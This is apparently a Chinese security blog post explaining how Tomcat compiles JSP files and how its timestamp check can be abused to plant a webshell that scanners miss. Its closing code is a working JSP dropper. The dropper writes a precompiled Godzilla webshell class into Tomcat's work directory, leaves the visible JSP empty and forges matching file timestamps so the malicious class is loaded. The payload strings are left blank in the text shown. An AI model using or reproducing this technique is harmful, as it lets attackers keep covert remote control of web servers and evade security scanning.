0%

空文件jsp免杀

环境搭配

tomcat 9.0.80

推荐看如下教程去搭建debug环境
https://gitee.com/appleyk/tomact9-markdown

jsp解析

Tomcat处理jsp的核心逻辑是它实现了一个处理jsp的Servlet
org.apache.jasper.servlet.JspServlet ,这个Servlet处理所有以jsp和jspx为后缀的请求。

编译jsp的过程如下

  1. 将jsp文件包装成java文件
  2. 将java文件编译为class文件
  3. 通过newInstance加载编译的class文件

主要编译代码从这里开始
org.apache.jasper.JspCompilationContext#compile()

跟入 jspCompiler.compile(); 可以看到两行重要代码,先生成java文件,然后根据java文件生成class文件

1
2
Map<String,SmapStratum> smaps = generateJava();
generateClass(smaps);

编译后就通过反射去获取该servlet


最后会将实例赋值给成员变量

后面你访问的jsp,其实就相当于在访问这个servlet
详细步骤需要自己调试

空文件jsp

根据上述原理,其实只要可以直接写入该class文件,那么jsp的内容应该是无关紧要的
根据调试,发现编译出来的class文件位于

但是如果直接去写入这个class文件是没有用的,经过我个人测试

  • 只修改class文件,然后访问那个jsp,会被重新编译
  • 只修改java文件,不会被继续编译,class还是最初的

回到刚刚的tomcat编译jsp的源码

注意到这个

1
jspCompiler.isOutDated()

这个函数用于检测你的jsp是否有修改过,如果修改过就会重新编译,那么来看看内部细节是怎么检测的
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
File targetFile;
if (checkClass) {
targetFile = new File(ctxt.getClassFileName());
} else {
targetFile = new File(ctxt.getServletJavaFileName());
}
if (!targetFile.exists()) {
return true;
}
long targetLastModified = targetFile.lastModified();
if (checkClass && jsw != null) {
jsw.setServletClassLastModifiedTime(targetLastModified);
}

Long jspRealLastModified = ctxt.getLastModified(ctxt.getJspFile());
if (jspRealLastModified.longValue() < 0) {
// Something went wrong - assume modification
return true;
}

if (targetLastModified != jspRealLastModified.longValue()) {
if (log.isDebugEnabled()) {
log.debug("Compiler: outdated: " + targetFile + " "
+ targetLastModified);
}
return true;
}

// determine if source dependent files (e.g. includes using include
// directives) have been changed.
if (jsw == null) {
return false;
}

Map<String,Long> depends = jsw.getDependants();
if (depends == null) {
return false;
}

看到上面的代码,可以知道他会拿jsp的时间戳与class的时间戳进行比对,如果不一致就会重新编译

在重新编译后会将class文件的时间戳设置为jsp的时间戳
这个 depends 应该是include里面需要编译的文件,没测试过

那么修改class以后就会改变时间戳,所以导致刚刚测试会重新编译

这里还有一个需要注意的点就是
刚刚分析代码的时候提到过
servlet会将实例赋值给成员变量,你之后在不更改jsp的情况下,访问的都是已经加载在内存中的servlet

所以如果想写一个jsp,然后去写入该jsp的class文件,在把自身写入的东西清楚掉,伪代码类似下面

1
2
3
写入恶意class
清空自身文件内容
改变class文件和自身jsp为相同的时间戳

然后在去访问该jsp,你会发现这个jsp还是之前的功能,并不会是恶意的class文件的功能,因为他已经把之前的class内容加载到内存中了
那么这里我能想到有两个解决方案

  • 重启tomcat,让他重新加载class文件
  • 写入其他jsp,比如用一个a.jsp写入b.jsp和b_jsp.class

最终代码

我直接将哥斯拉的jsp生成的class文件复制出来,没有特别去生成
这样下面的代码在不涉及任何反射和rce函数,只操控文件的方法下完成了哥斯拉jsp🐴的注入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
<%@ page import="java.io.*" %>
<%@ page import="java.util.Base64" %>
<%@ page import="java.nio.file.*" %>
<%@ page import="java.nio.file.attribute.*" %>
<%@ page import="java.io.*" %>
<%@ page import="java.util.concurrent.TimeUnit" %>
<%
// 文件路径

String filePathJSP = application.getRealPath("/") + "output.jsp";
String fullPath = application.getRealPath(request.getRequestURI());

// 创建 File 对象
File file = new File(fullPath);
String folderName = file.getParentFile().getName();

String filePathCLASS = application.getRealPath("/") +"../../work/Catalina/localhost/"+folderName+"/org/apache/jsp/output_jsp.class";
String filePathCLASSX = application.getRealPath("/") +"../../work/Catalina/localhost/"+folderName+"/org/apache/jsp/output_jsp$X.class";

String[] paths = {filePathJSP,filePathCLASS,filePathCLASSX};

String[] contents = {
"",
"",
""
};

// 创建 FileWriter 对象
for (int i = 0; i < 3; i++) {
String path = paths[i];
String encodedContent = contents[i];

// Base64 解码
byte[] decodedBytes = Base64.getDecoder().decode(encodedContent);

FileOutputStream fileOutputStream = new FileOutputStream(path);
fileOutputStream.write(decodedBytes);

// 关闭 FileOutputStream
fileOutputStream.close();
// 输出确认信息
out.println("Content written successfully to: " + path + "<br>");
try {
// 获取文件路径对象
Path p = Paths.get(path);
long newTimestamp = 1724085293L;
// 将时间戳转换为 FileTime 对象
FileTime fileTime = FileTime.from(newTimestamp, TimeUnit.SECONDS);

// 更改文件的修改时间和访问时间
Files.setLastModifiedTime(p, fileTime);

out.println("File timestamp updated successfully.");
} catch (IOException e) {
out.println("Error updating file timestamp: " + e.getMessage());
}
}

%>